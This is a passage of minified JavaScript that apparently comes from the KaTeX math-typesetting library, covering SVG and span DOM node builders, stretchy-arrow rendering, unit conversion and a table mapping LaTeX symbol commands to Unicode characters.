this.italic>0&&((t=document.createElement("span")).style.marginRight=this.italic+"em"),this.classes.length>0&&((t=t||document.createElement("span")).className=p(this.classes)),this.style)this.style.hasOwnProperty(n)&&((t=t||document.createElement("span")).style[n]=this.style[n]);return t?(t.appendChild(e),t):e}},{key:"toMarkup",value:function(){var e=!1,t="<span";this.classes.length&&(e=!0,t+=' class="',t+=h.a.escape(p(this.classes)),t+='"');var n="";for(var r in this.italic>0&&(n+="margin-right:"+this.italic+"em;"),this.style)this.style.hasOwnProperty(r)&&(n+=h.a.hyphenate(r)+":"+this.style[r]+";");n&&(e=!0,t+=' style="'+h.a.escape(n)+'"');var i=h.a.escape(this.value);return e?(t+=">",t+=i,t+="</span>"):i}}]),e}(),x=function(){function e(t,n){l()(this,e),this.children=t||[],this.attributes=n||{},this.height=0,this.depth=0,this.maxFontSize=0}return c()(e,[{key:"toNode",value:function(){var e=document.createElementNS("http://www.w3.org/2000/svg","svg");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);for(var n=0;n<this.children.length;n++)e.appendChild(this.children[n].toNode());return e}},{key:"toMarkup",value:function(){var e="<svg";for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&(e+=" "+t+"='"+this.attributes[t]+"'");e+=">";for(var n=0;n<this.children.length;n++)e+=this.children[n].toMarkup();return e+="</svg>"}}]),e}(),w=function(){function e(t,n){l()(this,e),this.pathName=t,this.alternate=n}return c()(e,[{key:"toNode",value:function(){var e=document.createElementNS("http://www.w3.org/2000/svg","path");return this.alternate?e.setAttribute("d",this.alternate):e.setAttribute("d",d.a.path[this.pathName]),e}},{key:"toMarkup",value:function(){return this.alternate?"<path d='"+this.alternate+"'/>":"<path d='"+d.a.path[this.pathName]+"'/>"}}]),e}(),k=function(){function e(t){l()(this,e),this.attributes=t||{}}return c()(e,[{key:"toNode",value:function(){var e=document.createElementNS("http://www.w3.org/2000/svg","line");for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);return e}},{key:"toMarkup",value:function(){var e="<line";for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&(e+=" "+t+"='"+this.attributes[t]+"'");return e+="/>"}}]),e}();t.a={span:m,anchor:v,documentFragment:g,symbolNode:b,svgNode:x,pathNode:w,lineNode:k}},function(e,t,n){"use strict";var r=n(57),i=n.n(r),a=n(12),o=n(0),s=n(1),l=n(5),u={widehat:"^",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23b5",overbrace:"\u23de",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21d2",xRightarrow:"\u21d2",overleftharpoon:"\u21bc",xleftharpoonup:"\u21bc",overrightharpoon:"\u21c0",xrightharpoonup:"\u21c0",xLeftarrow:"\u21d0",xLeftrightarrow:"\u21d4",xhookleftarrow:"\u21a9",xhookrightarrow:"\u21aa",xmapsto:"\u21a6",xrightharpoondown:"\u21c1",xleftharpoondown:"\u21bd",xrightleftharpoons:"\u21cc",xleftrightharpoons:"\u21cb",xtwoheadleftarrow:"\u219e",xtwoheadrightarrow:"\u21a0",xlongequal:"=",xtofrom:"\u21c4",xrightleftarrows:"\u21c4",xrightequilibrium:"\u21cc",xleftequilibrium:"\u21cb"},c={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,667],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]};t.a={encloseSpan:function(e,t,n,r){var i=void 0,s=e.height+e.depth+2*n;if(/fbox|color/.test(t)){if(i=o.a.makeSpan(["stretchy",t],[],r),"fbox"===t){var l=r.color&&r.getColor();l&&(i.style.borderColor=l)}}else{var u=[];/^[bx]cancel$/.test(t)&&u.push(new a.a.lineNode({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(t)&&u.push(new a.a.lineNode({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var c=new a.a.svgNode(u,{width:"100%",height:s+"em"});i=o.a.makeSpan([],[c],r)}return i.height=s,i.style.height=s+"em",i},mathMLnode:function(e){var t=new s.a.MathNode("mo",[new s.a.TextNode(u[e.substr(1)])]);return t.setAttribute("stretchy","true"),t},ruleSpan:function(e,t,n){var r=void 0,i=void 0,s="stretchy";return"vertical-separator"===e?(r=new a.a.pathNode("vertSeparator"),i=new a.a.svgNode([r],{width:"0.25em",height:"400em",viewBox:"0 0 250 400000",preserveAspectRatio:"xMinYMin slice"}),s="vertical-separator"):(r=new a.a.pathNode("stdHorizRule"),i=new a.a.svgNode([r],{width:"400em",height:5*t+"em",viewBox:"0 0 400000 200",preserveAspectRatio:"xMinYMin slice"})),o.a.makeSpan([s],[i],n)},svgSpan:function(e,t){var n=function(){var n=4e5,r=e.value.label.substr(1);if(l.a.contains(["widehat","widetilde","utilde"],r)){var s="ordgroup"===(v=e.value.base).type?v.value.length:1,u=void 0,f=void 0,h=void 0;if(s>5)u="widehat"===r?420:312,n="widehat"===r?2364:2340,h="widehat"===r?.42:.34,f=("widehat"===r?"widehat":"tilde")+"4";else{var d=[1,1,2,2,3,3][s];"widehat"===r?(n=[0,1062,2364,2364,2364][d],u=[0,239,300,360,420][d],h=[0,.24,.3,.3,.36,.42][d],f="widehat"+d):(n=[0,600,1033,2339,2340][d],u=[0,260,286,306,312][d],h=[0,.26,.286,.3,.306,.34][d],f="tilde"+d)}var p=new a.a.pathNode(f),m=new a.a.svgNode([p],{width:"100%",height:h+"em",viewBox:"0 0 "+n+" "+u,preserveAspectRatio:"none"});return{span:o.a.makeSpan([],[m],t),minWidth:0,height:h}}var v,g=[],y=i()(c[r],4),b=y[0],x=y[1],w=y[2],k=y[3],_=w/1e3,M=b.length,S=void 0,T=void 0;if(1===M)S=["hide-tail"],T=[k];else if(2===M)S=["halfarrow-left","halfarrow-right"],T=["xMinYMin","xMaxYMin"];else{if(3!==M)throw new Error("Correct katexImagesData or update code here to support\n "+M+" children.");S=["brace-left","brace-center","brace-right"],T=["xMinYMin","xMidYMin","xMaxYMin"]}for(var O=0;O<M;O++){var E=new a.a.pathNode(b[O]),C=new a.a.svgNode([E],{width:"400em",height:_+"em",viewBox:"0 0 "+n+" "+w,preserveAspectRatio:T[O]+" slice"}),N=o.a.makeSpan([S[O]],[C],t);if(1===M)return{span:N,minWidth:x,height:_};N.style.height=_+"em",g.push(N)}return{span:o.a.makeSpan(["stretchy"],g,t),minWidth:x,height:_}}(),r=n.span,s=n.minWidth,u=n.height;return r.height=u,r.style.height=u+"em",s>0&&(r.style.minWidth=s+"em"),r}}},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=n(31);t.a=function e(t,n,r,o,s){i()(this,e),this.type=t,this.value=n,this.mode=r,this.loc=a.a.range(o,s)}},function(e,t,n){var r=n(22),i=n(70),a=n(71),o=Object.defineProperty;t.f=n(23)?Object.defineProperty:function(e,t,n){if(r(e),t=a(t,!0),r(n),i)try{return o(e,t,n)}catch(s){}if("get"in n||"set"in n)throw TypeError("Accessors not supported!");return"value"in n&&(e[t]=n.value),e}},function(e,t){var n=e.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=n)},function(e,t){e.exports={}},function(e,t,n){e.exports={default:n(103),__esModule:!0}},function(e,t,n){"use strict";n.d(t,"b",(function(){return o})),n.d(t,"a",(function(){return s}));var r=n(6),i=(n(43),{pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:1.00375,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:1.00375}),a={ex:!0,em:!0,mu:!0},o=function(e){return"string"!==typeof e&&(e=e.unit),e in i||e in a||"ex"===e},s=function(e,t){var n=void 0;if(e.unit in i)n=i[e.unit]/t.fontMetrics().ptPerEm/t.sizeMultiplier;else if("mu"===e.unit)n=t.fontMetrics().cssEmPerMu;else{var a=void 0;if(a=t.style.isTight()?t.havingStyle(t.style.text()):t,"ex"===e.unit)n=a.fontMetrics().xHeight;else{if("em"!==e.unit)throw new r.a("Invalid unit: '"+e.unit+"'");n=a.fontMetrics().quad}a!==t&&(n*=a.sizeMultiplier/t.sizeMultiplier)}return Math.min(e.number*n,t.maxSize)}},function(e,t){e.exports=function(e){return"object"===typeof e?null!==e:"function"===typeof e}},function(e,t){var n={}.hasOwnProperty;e.exports=function(e,t){return n.call(e,t)}},function(e,t,n){var r=n(20);e.exports=function(e){if(!r(e))throw TypeError(e+" is not an object!");return e}},function(e,t,n){e.exports=!n(24)((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},function(e,t){e.exports=function(e){try{return!!e()}catch(t){return!0}}},function(e,t,n){var r=n(16),i=n(8),a=n(47),o=n(26),s=function e(t,n,s){var l,u,c,f=t&e.F,h=t&e.G,d=t&e.S,p=t&e.P,m=t&e.B,v=t&e.W,g=h?i:i[n]||(i[n]={}),y=g.prototype,b=h?r:d?r[n]:(r[n]||{}).prototype;for(l in h&&(s=n),s)(u=!f&&b&&void 0!==b[l])&&l in g||(c=u?b[l]:s[l],g[l]=h&&"function"!=typeof b[l]?s[l]:m&&u?a(c,r):v&&b[l]==c?function(e){var t=function(t,n,r){if(this instanceof e){switch(arguments.length){case 0:return new e;case 1:return new e(t);case 2:return new e(t,n)}return new e(t,n,r)}return e.apply(this,arguments)};return t.prototype=e.prototype,t}(c):p&&"function"==typeof c?a(Function.call,c):c,p&&((g.virtual||(g.virtual={}))[l]=c,t&e.R&&y&&!y[l]&&o(y,l,c)))};s.F=1,s.G=2,s.S=4,s.P=8,s.B=16,s.W=32,s.U=64,s.R=128,e.exports=s},function(e,t,n){var r=n(15),i=n(33);e.exports=n(23)?function(e,t,n){return r.f(e,t,i(1,n))}:function(e,t,n){return e[t]=n,e}},function(e,t,n){"use strict";n.d(t,"a",(function(){return l}));var r=n(7),i=n.n(r),a=n(10),o=n.n(a),s=n(31),l=function(){function e(t,n){i()(this,e),this.text=t,this.loc=n}return o()(e,[{key:"range",value:function(t,n){return new e(n,s.a.range(this,t))}}]),e}()},function(e,t,n){"use strict";var r={math:{},text:{}};function i(e,t,n,i,a,o){r[e][a]={font:t,group:n,replace:i},o&&i&&(r[e][i]=r[e][a])}t.a=r;var a="math",o="text",s="main",l="ams",u="accent",c="bin",f="close",h="mathord",d="op",p="open",m="rel",v="spacing",g="textord";i(a,s,m,"\u2261","\\equiv",!0),i(a,s,m,"\u227a","\\prec",!0),i(a,s,m,"\u227b","\\succ",!0),i(a,s,m,"\u223c","\\sim",!0),i(a,s,m,"\u22a5","\\perp"),i(a,s,m,"\u2aaf","\\preceq",!0),i(a,s,m,"\u2ab0","\\succeq",!0),i(a,s,m,"\u2243","\\simeq",!0),i(a,s,m,"\u2223","\\mid",!0),i(a,s,m,"\u226a","\\ll"),i(a,s,m,"\u226b","\\gg",!0),i(a,s,m,"\u224d","\\asymp",!0),i(a,s,m,"\u2225","\\parallel"),i(a,s,m,"\u22c8","\\bowtie",!0),i(a,s,m,"\u2323","\\smile",!0),i(a,s,m,"\u2291","\\sqsubseteq",!0),i(a,s,m,"\u2292","\\sqsupseteq",!0),i(a,s,m,"\u2250","\\doteq",!0),i(a,s,m,"\u2322","\\frown",!0),i(a,s,m,"\u220b","\\ni",!0),i(a,s,m,"\u221d","\\propto",!0),i(a,s,m,"\u22a2","\\vdash",!0),i(a,s,m,"\u22a3","\\dashv",!0),i(a,s,m,"\u220b","\\owns"),i(a,s,"punct",".","\\ldotp"),i(a,s,"punct","\u22c5","\\cdotp"),i(a,s,g,"#","\\#"),i(o,s,g,"#","\\#"),i(a,s,g,"&","\\&"),i(o,s,g,"&","\\&"),i(a,s,g,"\u2135","\\aleph",!0),i(a,s,g,"\u2200","\\forall",!0),i(a,s,g,"\u210f","\\hbar"),i(a,s,g,"\u2203","\\exists",!0),i(a,s,g,"\u2207","\\nabla",!0),i(a,s,g,"\u266d","\\flat",!0),i(a,s,g,"\u2113","\\ell",!0),i(a,s,g,"\u266e","\\natural",!0),i(a,s,g,"\u2663","\\clubsuit",!0),i(a,s,g,"\u2118","\\wp",!0),i(a,s,g,"\u266f","\\sharp",!0),i(a,s,g,"\u2662","\\diamondsuit",!0),i(a,s,g,"\u211c","\\Re",!0),i(a,s,g,"\u2661","\\heartsuit",!0),i(a,s,g,"\u2111","\\Im",!0),i(a,s,g,"\u2660","\\spadesuit",!0),i(o,s,g,"\xa7","\\S",!0),i(o,s,g,"\xb6","\\P",!0),i(a,s,g,"\u2020","\\dag"),i(o,s,g,"\u2020","\\dag"),i(o,s,g,"\u2020","\\textdagger"),i(a,s,g,"\u2021","\\ddag"),i(o,s,g,"\u2021","\\ddag"),i(o,s,g,"\u2020","\\textdaggerdbl"),i(a,s,f,"\u23b1","\\rmoustache"),i(a,s,p,"\u23b0","\\lmoustache"),i(a,s,f,"\u27ef","\\rgroup"),i(a,s,p,"\u27ee","\\lgroup"),i(a,s,c,"\u2213","\\mp",!0),i(a,s,c,"\u2296","\\ominus",!0),i(a,s,c,"\u228e","\\uplus",!0),i(a,s,c,"\u2293","\\sqcap",!0),i(a,s,c,"\u2217","\\ast"),i(a,s,c,"\u2294","\\sqcup",!0),i(a,s,c,"\u25ef","\\bigcirc"),i(a,s,c,"\u2219","\\bullet"),i(a,s,c,"\u2021","\\ddagger"),i(a,s,c,"\u2240","\\wr",!0),i(a,s,c,"\u2a3f","\\amalg"),i(a,s,c,"&","\\And"),i(a,s,m,"\u27f5","\\longleftarrow",!0),i(a,s,m,"\u21d0","\\Leftarrow",!0),i(a,s,m,"\u27f8","\\Longleftarrow",!0),i(a,s,m,"\u27f6","\\longrightarrow",!0),i(a,s,m,"\u21d2","\\Rightarrow",!0),i(a,s,m,"\u27f9","\\Longrightarrow",!0),i(a,s,m,"\u2194","\\leftrightarrow",!0),i(a,s,m,"\u27f7","\\longleftrightarrow",!0),i(a,s,m,"\u21d4","\\Leftrightarrow",!0),i(a,s,m,"\u27fa","\\Longleftrightarrow",!0),i(a,s,m,"\u21a6","\\mapsto",!0),i(a,s,m,"\u27fc","\\longmapsto",!0),i(a,s,m,"\u2197","\\nearrow",!0),i(a,s,m,"\u21a9","\\hookleftarrow",!0),i(a,s,m,"\u21aa","\\hookrightarrow",!0),i(a,s,m,"\u2198","\\searrow",!0),i(a,s,m,"\u21bc","\\leftharpoonup",!0),i(a,s,m,"\u21c0","\\rightharpoonup",!0),i(a,s,m,"\u2199","\\swarrow",!0),i(a,s,m,"\u21bd","\\leftharpoondown",!0),i(a,s,m,"\u21c1","\\rightharpoondown",!0),i(a,s,m,"\u2196","\\nwarrow",!0),i(a,s,m,"\u21cc","\\rightleftharpoons",!0),i(a,l,m,"\u226e","\\nless",!0),i(a,l,m,"\ue010","\\nleqslant"),i(a,l,m,"\ue011","\\nleqq"),i(a,l,m,"\u2a87","\\lneq",!0),i(a,l,m,"\u2268","\\lneqq",!0),i(a,l,m,"\ue00c","\\lvertneqq"),i(a,l,m,"\u22e6","\\lnsim",!0),i(a,l,m,"\u2a89","\\lnapprox",!0),i(a,l,m,"\u2280","\\nprec",!0),i(a,l,m,"\u22e0","\\npreceq",!0),i(a,l,m,"\u22e8","\\precnsim",!0),i(a,l,m,"\u2ab9","\\precnapprox",!0),i(a,l,m,"\u2241","\\nsim",!0),i(a,l,m,"\ue006","\\nshortmid"),i(a,l,m,"\u2224","\\nmid",!0),i(a,l,m,"\u22ac","\\nvdash",!0),i(a,l,m,"\u22ad","\\nvDash",!0),i(a,l,m,"\u22ea","\\ntriangleleft"),i(a,l,m,"\u22ec","\\ntrianglelefteq",!0),i(a,l,m,"\u228a","\\subsetneq",!0),i(a,l,m,"\ue01a","\\varsubsetneq"),i(a,l,m,"\u2acb","\\subsetneqq",!0),i(a,l,m,"\ue017","\\varsubsetneqq"),i(a,l,m,"\u226f","\\ngtr",!0),i(a,l,m,"\ue00f","\\ngeqslant"),i(a,l,m,"\ue00e","\\ngeqq"),i(a,l,m,"\u2a88","\\gneq",!0),i(a,l,m,"\u2269","\\gneqq",!0),i(a,l,m,"\ue00d","\\gvertneqq"),i(a,l,m,"\u22e7","\\gnsim",!0),i(a,l,m,"\u2a8a","\\gnapprox",!0),i(a,l,m,"\u2281","\\nsucc",!0),i(a,l,m,"\u22e1","\\nsucceq",!0),i(a,l,m,"\u22e9","\\succnsim",!0),i(a,l,m,"\u2aba","\\succnapprox",!0),i(a,l,m,"\u2246","\\ncong",!0),i(a,l,m,"\ue007","\\nshortparallel"),i(a,l,m,"\u2226","\\nparallel",!0),i(a,l,m,"\u22af","\\nVDash",!0),i(a,l,m,"\u22eb","\\ntriangleright"),i(a,l,m,"\u22ed","\\ntrianglerighteq",!0),i(a,l,m,"\ue018","\\nsupseteqq"),i(a,l,m,"\u228b","\\supsetneq",!0),i(a,l,m,"\ue01b","\\varsupsetneq"),i(a,l,m,"\u2acc","\\supsetneqq",!0),i(a,l,m,"\ue019","\\varsupsetneqq"),i(a,l,m,"\u22ae","\\nVdash",!0),i(a,l,m,"\u2ab5","\\precneqq",!0),i(a,l,m,"\u2ab6","\\succneqq",!0),i(a,l,m,"\ue016","\\nsubseteqq"),i(a,l,c,"\u22b4","\\unlhd"),i(a,l,c,"\u22b5","\\unrhd"),i(a,l,m,"\u219a","\\nleftarrow",!0),i(a,l,m,"\u219b","\\nrightarrow",!0),i(a,l,m,"\u21cd","\\nLeftarrow",!0),i(a,l,m,"\u21cf","\\nRightarrow",!0),i(a,l,m,"\u21ae","\\nleftrightarrow",!0),i(a,l,m,"\u21ce","\\nLeftrightarrow",!0),i(a,l,m,"\u25b3","\\vartriangle"),i(a,l,g,"\u210f","\\hslash"),i(a,l,g,"\u25bd","\\triangledown"),i(a,l,g,"\u25ca","\\lozenge"),i(a,l,g,"\u24c8","\\circledS"),i(a,l,g,"\xae","\\circledR"),i(o,l,g,"\xae","\\circledR"),i(a,l,g,"\u2221","\\measuredangle",!0),i(a,l,g,"\u2204","\\nexists"),i(a,l,g,"\u2127","\\mho"),i(a,l,g,"\u2132","\\Finv",!0),i(a,l,g,"\u2141","\\Game",!0),i(a,l,g,"k","\\Bbbk"),i(a,l,g,"\u2035","\\backprime"),i(a,l,g,"\u25b2","\\blacktriangle"),i(a,l,g,"\u25bc","\\blacktriangledown"),i(a,l,g,"\u25a0","\\blacksquare"),i(a,l,g,"\u29eb","\\blacklozenge"),i(a,l,g,"\u2605","\\bigstar"),i(a,l,g,"\u2222","\\sphericalangle",!0),i(a,l,g,"\u2201","\\complement",!0),i(a,l,g,"\xf0","\\eth",!0),i(a,l,g,"\u2571","\\diagup"),i(a,l,g,"\u2572","\\diagdown"),i(a,l,g,"\u25a1","\\square"),i(a,l,g,"\u25a1","\\Box"),i(a,l,g,"\u25ca","\\Diamond"),i(a,l,g,"\xa5","\\yen",!0),i(a,l,g,"\u2713","\\checkmark",!0),i(o,l,g,"\u2713","\\checkmark"),i(a,l,g,"\u2136","\\beth",!0),i(a,l,g,"\u2138","\\daleth",!0),i(a,l,g,"\u2137","\\gimel",!0),i(a,l,g,"\u03dd","\\digamma"),i(a,l,g,"\u03f0","\\varkappa"),i(a,l,p,"\u250c","\\ulcorner"),i(a,l,f,"\u2510","\\urcorner"),i(a,l,p,"\u2514","\\llcorner"),i(a,l,f,"\u2518","\\lrcorner"),i(a,l,m,"\u2266","\\leqq",!0),i(a,l,m,"\u2a7d","\\leqslant"),i(a,l,m,"\u2a95","\\eqslantless",!0),i(a,l,m,"\u2272","\\lesssim"),i(a,l,m,"\u2a85","\\lessapprox"),i(a,l,m,"\u224a","\\approxeq",!0),i(a,l,c,"\u22d6","\\lessdot"),i(a,l,m,"\u22d8","\\lll"),i(a,l,m,"\u2276","\\lessgtr"),i(a,l,m,"\u22da","\\lesseqgtr"),i(a,l,m,"\u2a8b","\\lesseqqgtr"),i(a,l,m,"\u2251","\\doteqdot"),i(a,l,m,"\u2253","\\risingdotseq",!0),i(a,l,m,"\u2252","\\fallingdotseq",!0),i(a,l,m,"\u223d","\\backsim",!0),i(a,l,m,"\u22cd","\\backsimeq",!0),i(a,l,m,"\u2ac5","\\subseteqq",!0),i(a,l,m,"\u22d0","\\Subset",!0),i(a,l,m,"\u228f","\\sqsubset",!0),i(a,l,m,"\u227c","\\preccurlyeq",!0),i(a,l,m,"\u22de","\\curlyeqprec",!0),i(a,l,m,"\u227e","\\precsim",!0),i(a,l,m,"\u2ab7","\\precapprox",!0),i(a,l,m,"\u22b2","\\vartriangleleft"),i(a,l,m,"\u22b4","\\trianglelefteq"),i(a,l,m,"\u22a8","\\vDash"),i(a,l,m,"\u22aa","\\Vvdash",!0),i(a,l,m,"\u2323","\\smallsmile"),i(a,l,m,"\u2322","\\smallfrown"),i(a,l,m,"\u224f","\\bumpeq",!0),i(a,l,m,"\u224e","\\Bumpeq",!0),i(a,l,m,"\u2267","\\geqq",!0),i(a,l,m,"\u2a7e","\\geqslant",!0),i(a,l,m,"\u2a96","\\eqslantgtr",!0),i(a,l,m,"\u2273","\\gtrsim",!0),i(a,l,m,"\u2a86","\\gtrapprox",!0),i(a,l,c,"\u22d7","\\gtrdot"),i(a,l,m,"\u22d9","\\ggg",!0),i(a,l,m,"\u2277","\\gtrless",!0),i(a,l,m,"\u22db","\\gtreqless",!0),i(a,l,m,"\u2a8c","\\gtreqqless",!0),i(a,l,m,"\u2256","\\eqcirc",!0),i(a,l,m,"\u2257","\\circeq",!0),i(a,l,m,"\u225c","\\triangleq",!0),i(a,l,m,"\u223c","\\thicksim"),i(a,l,m,"\u2248","\\thickapprox"),i(a,l,m,"\u2ac6","\\supseteqq",!0),i(a,l,m,"\u22d1","\\Supset",!0),i(a,l,m,"\u2290","\\sqsupset",!0),i(a,l,m,"\u227d","\\succcurlyeq",!0),i(a,l,m,"\u22df","\\curlyeqsucc",!0),i(a,l,m,"\u227f","\\succsim",!0),i(a,l,m,"\u2ab8","\\succapprox",!0),i(a,l,m,"\u22b3","\\vartriangleright"),i(a,l,m,"\u22b5","\\trianglerighteq"),i(a,l,m,"\u22a9","\\Vdash",!0),i(a,l,m,"\u2223","\\shortmid"),i(a,l,m,"\u2225","\\shortparallel"),i(a,l,m,"\u226c","\\between",!0),i(a,l,m,"\u22d4","\\pitchfork",!0),i(a,l,m,"\u221d","\\varpropto"),i(a,l,m,"\u25c0","\\blacktriangleleft"),i(a,l,m,"\u2234","\\therefore",!0),i(a,l,m,"\u220d","\\backepsilon"),i(a,l,m,"\u25b6","\\blacktriangleright"),i(a,l,m,"\u2235","\\because",!0),i(a,l,m,"\u22d8","\\llless"),i(a,l,m,"\u22d9","\\gggtr"),i(a,l,c,"\u22b2","\\lhd"),i(a,l,c,"\u22b3","\\rhd"),i(a,l,m,"\u2242","\\eqsim",!0),i(a,s,m,"\u22c8","\\Join"),i(a,l,m,"\u2251","\\Doteq",!0),i(a,l,c,"\u2214","\\dotplus",!0),i(a,l,c,"\u2216","\\smallsetminus"),i(a,l,c,"\u22d2","\\Cap",!0),i(a,l,c,"\u22d3","\\Cup",!0),i(a,l,c,"\u2a5e","\\doublebarwedge",!0),i(a,l,c,"\u229f","\\boxminus",!0),i(a,l,c,"\u229e","\\boxplus",!0),i(a,l,c,"\u22c7","\\divideontimes",!0),i(a,l,c,"\u22c9","\\ltimes",!0),i(a,l,c,"\u22ca","\\rtimes",!0),i(a,l,c,"\u22cb","\\leftthreetimes",!0),i(a,l,c,"\u22cc","\\rightthreetimes",!0),i(a,l,c,"\u22cf","\\curlywedge",!0),i(a,l,c,"\u22ce","\\curlyvee",!0),i(a,l,c,"\u229d","\\circleddash",!0),i(a,l,c,"\u229b","\\circledast",!0),i(a,l,c,"\u22c5","\\centerdot"),i(a,l,c,"\u22ba","\\intercal",!0),i(a,l,c,"\u22d2","\\doublecap"),i(a,l,c,"\u22d3","\\doublecup"),i(a,l,c,"\u22a0","\\boxtimes",!0),i(a,l,m,"\u21e2","\\dashrightarrow",!0),i(a,l,m,"\u21e0","\\dashleftarrow",!0),i(a,l,m,"\u21c7","\\leftleftarrows",!0),i(a,l,m,"\u21c6","\\leftrightarrows",!0),i(a,l,m,"\u21da","\\Lleftarrow",!0),i(a,l,m,"\u219e","\\twoheadleftarrow",!0),i(a,l,m,"\u21a2","\\leftarrowtail",!0),i(a,l,m,"\u21ab","\\looparrowleft",!0),i(a,l,m,"\u21cb","\\leftrightharpoons",!0),i(a,l,m,"\u21b6","\\curvearrowleft",!0),i(a,l,m,"\u21ba","\\circlearrowleft",!0),i(a,l,m,"\u21b0","\\Lsh",!0),i(a,l,m,"\u21c8","\\upuparrows",!0),i(a,l,m,"\u21bf","\\upharpoonleft",!0),i(a,l,m,"\u21c3","\\downharpoonleft",!0),i(a,l,m,"\u22b8","\\multimap",!0),i(a,l,m,"\u21ad","\\leftrightsquigarrow",!0),i(a,l,m,"\u21c9","\\rightrightarrows",!0),i(a,l,m,"\u21c4","\\rightleftarrows",!0),i(a,l,m,"\u21a0","\\twoheadrightarrow",!0),i(a,l,m,"\u21a3","\\rightarrowtail",!0),i(a,l,m,"\u21ac","\\looparrowright",!0),i(a,l,m,"\u21b7","\\curvearrowright",!0),i(a,l,m,"\u21bb","\\circlearrowright",!0),i(a,l,m,"\u21b1","\\Rsh",!0),i(a,l,m,"\u21ca","\\downdownarrows",!0),i(a,l,m,"\u21be","\\upharpoonright",!0),i(a,l,m,"\u21c2","\\downharpoonright",!0),i(a,l,m,"\u21dd","\\rightsquigarrow",!0),i(a,l,m,"\u21dd","\\leadsto"),i(a,l,m,"\u21db","\\Rrightarrow",!0),i(a,l,m,"\u21be","\\restriction"),i(a,s,g,"\u2018","`"),i(a,s,g,"$","\\$"),i(o,s,g,"$","\\$"),i(o,s,g,"$","\\textdollar"),i(a,s,g,"%","\\%"),i(o,s,g,"%","\\%"),i(a,s,g,"_","\\_"),i(o,s,g,"_","\\_"),i(o,s,g,"_","\\textunderscore"),i(a,s,g,"\u2220","\\angle",!0),i(a,s,g,"\u221e","\\infty",!0),i(a,s,g,"\u2032","\\prime"),i(a,s,g,"\u25b3","\\triangle"),i(a,s,g,"\u0393","\\Gamma",!0),i(a,s,g,"\u0394","\\Delta",!0),i(a,s,g,"\u0398","\\Theta",!0),i(a,s,g,"\u039b","\\Lambda",!0),i(a,s,g,"\u039e","\\Xi",!0),i(a,s,g,"\u03a0","\\Pi",!0),i(a,s,g,"\u03a3","\\Sigma",!0),i(a,s,g,"\u03a5","\\Upsilon",!0),i(a,s,g,"\u03a6","\\Phi",!0),i(a,s,g,"\u03a8","\\Psi",!0),i(a,s,g,"\u03a9","\\Omega",!0),i(a,s,g,"\xac","\\neg"),i(a,s,g,"\xac","\\lnot"),i(a,s,g,"\u22a4","\\top"),i(a,s,g,"\u22a5","\\bot"),i(a,s,g,"\u2205","\\emptyset"),i(a,l,g,"\u2205","\\varnothing"),i(a,s,h,"\u03b1","\\alpha",!0),i(a,s,h,"\u03b2","\\beta",!0),i(a,s,h,"\u03b3","\\gamma",!0),i(a,s,h,"\u03b4","\\delta",!0),i(a,s,h,"\u03f5","\\epsilon",!0),i(a,s,h,"\u03b6","\\zeta",!0),i(a,s,h,"\u03b7","\\eta